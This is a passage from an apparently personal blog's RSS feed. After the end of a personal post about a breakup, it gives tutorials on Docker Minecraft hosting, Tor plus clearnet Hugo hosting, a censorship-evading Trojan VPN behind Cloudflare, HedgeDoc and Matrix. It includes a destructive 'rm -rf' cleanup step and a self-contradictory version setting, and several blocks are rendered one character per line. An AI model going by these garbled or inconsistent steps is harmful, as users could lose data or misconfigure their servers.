    Well. I don’t know what’s gonna happen next, but I’m going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won’t be alone? Who knows? haha.

    +
    +

    P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I’m worth more than that. :) In my therapy session I remembered that in each of these so called “not dates” we had a conversation about “her”, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.

    +]]>
    Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releaseshttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/Mon, 29 Sep 2025 09:06:29 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release.Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + + + +
    + + + + +/ +d +e +v +/ +m +a +p +p +e +r +/ +u +b +u +n +t +u +- +- +v +g +- +v +a +r +3 +. +9 +G +3 +. +4 +G +3 +3 +3 +M +9 +2 +% +v +a +r + + + + +
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + + + +
    + + + +S +t +a +r +t +i +n +g +m +i +n +e +c +r +a +f +t +s +e +r +v +e +r +v +e +r +s +i +o +n +1 +. +2 +1 +. +9 +P +r +e +- +R +e +l +e +a +s +e +2 + + + + +
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +]]>
    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperModhttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/Fri, 19 Sep 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    + + + +
    + + + + + + +H +H +i +i +d +d +d +d +e +e +n +n +S +S +e +e +r +r +v +v +i +i +c +c +e +e +D +P +i +o +r +r +t +v +8 +a +0 +r +/ +1 +l +2 +i +7 +b +. +0 +t +. +o +0 +r +. +1 +h +: +i +3 +d +3 +d +0 +e +1 +n +_ +s +i +t +e +/ + + + + +
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    + + + +
    + + + +/ +/ +e +e +t +t +c +c +/ +/ +l +l +e +e +t +t +s +s +e +e +n +n +c +c +r +r +y +y +p +p +t +t +/ +/ +l +l +i +i +v +v +e +e +/ +/ +b +b +l +l +o +o +g +g +. +. +a +a +l +l +i +i +p +p +o +o +u +u +r +r +i +i +m +m +j +j +o +o +u +u +r +r +n +n +e +e +y +y +s +s +. +. +i +i +r +r +/ +/ +f +p +u +r +l +i +l +v +c +k +h +e +a +y +i +. +n +p +. +e +p +m +e +m + + + + +
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
    • Tor unit confusion: tor.service is a tiny master; the real daemon is tor@default. Use that unit and verify config as debian-tor.
    • +
    • Permissions: HiddenServiceDir must be owned by debian-tor and mode 700.
    • +
    • Mapping mismatch: If HiddenServicePort 80 127.0.0.1:3301 is set, visit http://<onion>/ (no :3301). If you set HiddenServicePort 3301 127.0.0.1:3301, you must use http://<onion>:3301/.
    • +
    • Curl & .onion: modern curl refuses .onion unless you use remote DNS via SOCKS: +
      curl -I --socks5-hostname 127.0.0.1:9050 "http://<onion>/"
      +
    • +
    • Two Nginx vhosts on the same port: I had a duplicate server on 127.0.0.1:3301 pointing somewhere else, which caused onion 404s. Keep only one (or mark one default_server).
    • +
    • Regex in server_name: if you use it, write server_name ~* \.onion$ (space after ~*). I fixed an invalid variable name error caused by a missing space.
    • +
    • PaperMod with old Hugo: upgraded to extended ≥ 0.146.0. Also updated paginate[pagination].pagerSize.
    • +
    • Snap confinement: Snap’s hugo couldn’t read /srv (.../void: permission denied). Switched to the tarball build in /usr/local/bin.
    • +
    +
    +

    7) “Not secure” in Tor Browser?

    +

    That message can appear because onion uses HTTP. It’s OK: Tor provides e2e encryption + onion auth. If you enable HTTPS-Only Mode, add an exception for the site. Also ensure the onion build doesn’t reference clearnet resources (scan the built HTML for http(s):// links that aren’t your onion).

    +
    +

    8) Day-to-day workflow

    +
      +
    • Create content: +
      hugo new posts/my-first-post.md  # then set draft: false
      +
    • +
    • Publish both: +
      build-both
      +
    • +
    • (Optional) Auto on save: +
      find content layouts assets static config -type f | entr -r build-both
      +
    • +
    • (Optional) Git push-to-deploy with a bare repo + post-receive hook that runs build-both.
    • +
    +
    +

    Final notes

    +
      +
    • Clearnet gets HTTPS + HSTS and an Onion-Location header.
    • +
    • Onion gets no HSTS/redirects, and all assets are self-hosted to avoid mixed content.
    • +
    • Serving both worlds from one Hugo repo is easy: two builds, two vhosts, one workflow.
    • +
    +]]>
    Stealth Trojan VPN Behind Cloudflare Guidehttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/Tue, 09 Sep 2025 11:05:00 +0200http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/vpn/<h2 id="introduction">Introduction</h2> +<p>So you want a VPN that <strong>doesn&rsquo;t scream &ldquo;I am a VPN&rdquo;</strong> to every censor and firewall out there?<br> +Welcome to the world of <strong>Trojan over WebSocket + TLS behind Cloudflare</strong>.</p> +<p>This guide not only shows you how to set it up but also sprinkles in some <strong>debugging magic</strong> so you can figure out why things break (and they <em>will</em> break, trust me).</p> +<p>We’ll anonymise domains and secrets, so substitute with your own:</p>Introduction +

    So you want a VPN that doesn’t scream “I am a VPN” to every censor and firewall out there?
    +Welcome to the world of Trojan over WebSocket + TLS behind Cloudflare.

    +

    This guide not only shows you how to set it up but also sprinkles in some debugging magic so you can figure out why things break (and they will break, trust me).

    +

    We’ll anonymise domains and secrets, so substitute with your own:

    +
      +
    • VPN domain: web.example.com
    • +
    • Panel domain: panel.example.com
    • +
    • Secret WS path: /stealth-path_abcd1234
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Architecture at a Glance

    +

    Think of it as a disguise party:

    +
      +
    • Trojan = the shy guest (your VPN protocol)
    • +
    • Nginx = the bouncer checking IDs (reverse proxy)
    • +
    • Cloudflare = the doorman who makes sure nobody sees who’s inside (CDN & proxy)
    • +
    • Your fake website = the mask (camouflage page)
    • +
    +

    Traffic flow:

    + + + +
    + + + +C +l +i +e +n +t + +C +l +o +u +d +f +l +a +r +e +( +4 +4 +3 +) + +N +g +i +n +x +( +4 +4 +3 +) + +T +r +o +j +a +n +( +l +o +c +a +l +h +o +s +t +: +5 +4 +3 +2 +1 +) + + + + +
    +
    +

    Step 1: Panel Setup (panel.example.com)

    +
      +
    • Bind the 3x-ui panel to localhost (e.g., 127.0.0.1:46309).
    • +
    • Choose a funky web base path like /panel-bananas_42/.
    • +
    • Proxy it through Nginx with HTTPS + Basic Auth.
    • +
    • Test it at https://panel.example.com/panel-bananas_42/.
    • +
    +

    Pro tip: If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs!

    +
    +

    Step 2: Trojan Inbound

    +

    In 3x-ui, create a Trojan inbound:

    +
      +
    • Local port: 54321
    • +
    • Transport: WebSocket
    • +
    • Path: /stealth-path_abcd1234
    • +
    • Security: none
    • +
    • Password: <PASSWORD>
    • +
    +
    +

    Step 3: Nginx for VPN Domain (web.example.com)

    +

    Your Nginx is the gatekeeper. Sample config:

    +
    server {
    +    listen 443 ssl http2;
    +    server_name web.example.com;
    +
    +    ssl_certificate     /etc/letsencrypt/live/web.example.com/fullchain.pem;
    +    ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem;
    +
    +    # Fake website at root
    +    location / {
    +        root /var/www/html;
    +        index index.html;
    +    }
    +
    +    # Real VPN under secret WS path
    +    location /stealth-path_abcd1234 {
    +        proxy_pass http://127.0.0.1:54321;
    +        proxy_http_version 1.1;
    +        proxy_set_header Upgrade $http_upgrade;
    +        proxy_set_header Connection "upgrade";
    +        proxy_set_header Host $host;
    +    }
    +}
    +

    +

    Step 4: Firewall Rules

    +

    Lock things down! Only Cloudflare should reach you:

    +
    ufw allow 22/tcp
    +ufw allow 80/tcp
    +ufw allow 443/tcp
    +ufw deny 54321/tcp
    +

    +

    Step 5: Client Config

    +

    Trojan URI:

    + + + +
    + + + +t +r +o +j +a +n +: +/ +/ +< +P +A +S +S +W +O +R +D +> +@ +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +: +4 +4 +3 +? +t +y +p +e += +w +s +& +s +e +c +u +r +i +t +y += +t +l +s +& +h +o +s +t += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +& +p +a +t +h += +% +2 +F +s +t +e +a +l +t +h +- +p +a +t +h +_ +a +b +c +d +1 +2 +3 +4 +& +s +n +i += +w +e +b +. +e +x +a +m +p +l +e +. +c +o +m +# +M +y +S +t +e +a +l +t +h +V +P +N + + + + +
    +

    iOS clients: Shadowrocket, Stash, FoXray
    +Android clients: v2rayNG, Clash Meta, NekoBox

    +
    +

    Debugging Time (a.k.a. “Why the heck doesn’t it work?!”)

    +

    Symptom: 520 Unknown Error (Cloudflare)

    +
      +
    • Likely cause: Nginx couldn’t talk to Trojan.
    • +
    • Check Nginx error log: +
      tail -n 50 /var/log/nginx/error.log
      +
    • +
    • If you see upstream sent no valid HTTP/1.0 header → you’re mixing HTTPS/HTTP between Nginx and Trojan.
    • +
    +
    +

    Symptom: 526 Invalid SSL certificate

    +
      +
    • Cloudflare → Nginx cert mismatch.
    • +
    • Run: +
      openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts
      +
    • +
    • Make sure CN = web.example.com. If not, fix your cert.
    • +
    +
    +

    Symptom: Blank page on panel

    +
      +
    • Check if the base path matches exactly (case-sensitive, slash-sensitive).
    • +
    • Watch for sneaky trailing spaces!
    • +
    • Test locally: +
      curl -s -D- http://127.0.0.1:46309/panel-bananas_42/
      +
    • +
    +
    +

    Symptom: Client won’t connect

    +
      +
    • Run a WebSocket test: +
      curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234
      +
      Expect 101 Switching Protocols. If not, check Nginx config.
    • +
    +
    +

    Symptom: Censor still blocks you

    +
      +
    • Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP?
      +→ They’ll find your origin IP. Use a second VPS or lock those ports down.
    • +
    • Did you use an obvious path like /ws?
      +→ Use a random-looking one like /cdn-assets-329df/.
    • +
    +
    +

    Pro Tips & Fun Tricks

    +
      +
    • Serve a fake blog or portfolio at root so your domain looks legit.
    • +
    • Rotate WebSocket paths occasionally.
    • +
    • Use Cloudflare Page Rules to disable Rocket Loader & Minify for your VPN domain.
    • +
    • Make friends with your Nginx error.log — it will roast you but it tells the truth.
    • +
    +
    +

    Conclusion

    +

    By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise:

    +
      +
    • Looks like normal HTTPS.
    • +
    • Hides your origin IP.
    • +
    • Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass.
    • +
    +

    Congrats — you’ve built a VPN with both style and stealth. 🥷

    +]]>
    Self-Hosting HedgeDoc with Docker + Nginx + Let's Encrypthttp://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/Fri, 29 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/hedge_doc/<p>HedgeDoc is an open-source collaborative Markdown editor. Think <em>Google Docs for Markdown</em>: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.</p> +<hr> +<h2 id="prerequisites">Prerequisites</h2> +<ul> +<li>A Linux server with <strong>Docker</strong> and <strong>Docker Compose</strong></li> +<li>A domain name pointing to your server (e.g. <code>notes.alipourimjourneys.ir</code>)</li> +<li><strong>Nginx</strong> installed for reverse proxying</li> +<li><strong>Certbot</strong> for Let’s Encrypt certificates</li> +</ul> +<hr> +<h2 id="1-create-the-project-directory">1. Create the project directory</h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>mkdir ~/hedgedoc <span style="color:#f92672">&amp;&amp;</span> cd ~/hedgedoc</span></span></code></pre></div> +<hr> +<h2 id="2-create-env">2. Create <code>.env</code></h2> +<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-env" data-lang="env"><span style="display:flex;"><span>POSTGRES_PASSWORD<span style="color:#f92672">=</span>ChangeThisStrongPassword +</span></span><span style="display:flex;"><span>HD_DOMAIN<span style="color:#f92672">=</span>notes.alipourimjourneys.ir</span></span></code></pre></div> +<p>Generate a strong password with:</p>HedgeDoc is an open-source collaborative Markdown editor. Think Google Docs for Markdown: multiple people can edit the same note in real-time, with support for diagrams, math, polls, and slide decks. In this post we’ll walk through setting up your own instance on a server, secured with HTTPS.

    +
    +

    Prerequisites

    +
      +
    • A Linux server with Docker and Docker Compose
    • +
    • A domain name pointing to your server (e.g. notes.alipourimjourneys.ir)
    • +
    • Nginx installed for reverse proxying
    • +
    • Certbot for Let’s Encrypt certificates
    • +
    +
    +

    1. Create the project directory

    +
    mkdir ~/hedgedoc && cd ~/hedgedoc
    +
    +

    2. Create .env

    +
    POSTGRES_PASSWORD=ChangeThisStrongPassword
    +HD_DOMAIN=notes.alipourimjourneys.ir
    +

    Generate a strong password with:

    +
    openssl rand -base64 32
    +
    +

    3. Create docker-compose.yml

    +
    version: "3.9"
    +
    +services:
    +  db:
    +    image: postgres:16
    +    environment:
    +      POSTGRES_USER: hedgedoc
    +      POSTGRES_PASSWORD: ${POSTGRES_PASSWORD}
    +      POSTGRES_DB: hedgedoc
    +    volumes:
    +      - db:/var/lib/postgresql/data
    +    restart: unless-stopped
    +
    +  hedgedoc:
    +    image: quay.io/hedgedoc/hedgedoc:1.10.2
    +    depends_on:
    +      - db
    +    environment:
    +      CMD_DB_URL: postgres://hedgedoc:${POSTGRES_PASSWORD}@db:5432/hedgedoc
    +      CMD_DOMAIN: ${HD_DOMAIN}
    +      CMD_PROTOCOL_USESSL: "true"
    +      CMD_URL_ADDPORT: "false"
    +      CMD_PORT: "3000"
    +      CMD_EMAIL: "true"
    +      CMD_ALLOW_EMAIL_REGISTER: "false"
    +    volumes:
    +      - uploads:/hedgedoc/public/uploads
    +    ports:
    +      - "127.0.0.1:3000:3000"
    +    restart: unless-stopped
    +
    +volumes:
    +  db:
    +  uploads:
    +

    Bring it up:

    +
    docker compose up -d
    +
    +

    4. Get a Let’s Encrypt certificate

    +

    Request a cert with a DNS challenge:

    +
    sudo certbot certonly   --manual   --preferred-challenges dns   -d notes.alipourimjourneys.ir   -m you@example.com   --agree-tos --no-eff-email
    +

    Add the TXT record certbot asks for, wait for DNS to propagate, then continue.
    +Certificates will be in:

    +
    /etc/letsencrypt/live/notes.alipourimjourneys.ir/
    +
    +

    5. Configure Nginx

    +

    Create /etc/nginx/sites-available/notes.alipourimjourneys.ir:

    +
    server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 80;
    +  listen [::]:80;
    +  return 301 https://$host$request_uri;
    +}
    +
    +server {
    +  server_name notes.alipourimjourneys.ir;
    +
    +  listen 443 ssl http2;
    +  listen [::]:443 ssl http2;
    +
    +  ssl_certificate     /etc/letsencrypt/live/notes.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/notes.alipourimjourneys.ir/privkey.pem;
    +
    +  location / {
    +    proxy_pass http://127.0.0.1:3000;
    +    proxy_set_header Host $host;
    +    proxy_set_header X-Real-IP $remote_addr;
    +    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    +    proxy_set_header X-Forwarded-Proto https;
    +
    +    proxy_http_version 1.1;
    +    proxy_set_header Upgrade $http_upgrade;
    +    proxy_set_header Connection "upgrade";
    +  }
    +}
    +

    Enable the config and reload Nginx:

    +
    sudo ln -s /etc/nginx/sites-available/notes.alipourimjourneys.ir /etc/nginx/sites-enabled/
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    6. Create users

    +

    Because we disabled self-registration, create accounts manually:

    +
    docker compose exec hedgedoc ./bin/manage_users --add alice@example.com
    +

    You’ll be prompted for a password.
    +To reset a password later:

    +
    docker compose exec hedgedoc ./bin/manage_users --reset alice@example.com
    +
    +

    7. Done!

    +

    Visit https://notes.alipourimjourneys.ir and log in with the user you created. You now have your own collaborative Markdown editor 🎉

    +
    +

    Extras:

    +
      +
    • Backups: dump the PostgreSQL database and save the uploads volume.
    • +
    • Upgrades: docker pull quay.io/hedgedoc/hedgedoc:latest && docker compose up -d.
    • +
    • Integrations: HedgeDoc supports S3/MinIO image storage, GitHub/GitLab/Google login, and more.
    • +
    +]]>
    Self-hosting Matrix + Element Call with LiveKit: from zero to working (and the [not so!!] fun debugging along the way)http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/Tue, 26 Aug 2025 00:00:00 +0000http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/matrix_setup/How I set up a Matrix homeserver (Synapse) with TURN and Element Call using LiveKit, plus the exact debugging steps that took it from &#39;waiting for media&#39; to solid calls. +

    TL;DR: The call kept saying “waiting for media” because the browser never opened a WebSocket to LiveKit. The root cause was duplicate Access-Control-Allow-Origin headers on /sfu/get (CORS), which stopped the JWT response. Fixing CORS and ensuring the WS proxy worked (HTTP 101 in logs) solved it.

    +

    What I’m building

    +
      +
    • A Matrix homeserver (Synapse) at matrix.example.com (replace with your domain).
    • +
    • TURN/STUN (coTURN) for NAT traversal.
    • +
    • Element Call backed by LiveKit, fronted by rtc.example.com.
    • +
    • Nginx (host) as the single reverse proxy for everything.
    • +
    • Cloudflare DNS (with rtc.* set to DNS-only, no orange cloud).
    • +
    • UFW firewall opened for Matrix federation, TURN, and LiveKit media ports.
    • +
    +
    +

    I used Docker for Synapse, PostgreSQL, LiveKit and the JWT helper. I used host Nginx (not Nginx in Docker) to avoid port binding conflicts on 80/443/8448.

    +
    +

    Prereqs

    +
      +
    • DNS A/AAAA: +
        +
      • matrix.example.com → your server (v4/v6)
      • +
      • rtc.example.com → your server (v4/v6)
      • +
      +
    • +
    • Certificates: +
        +
      • matrix.example.com and rtc.example.com via Let’s Encrypt on the host
      • +
      +
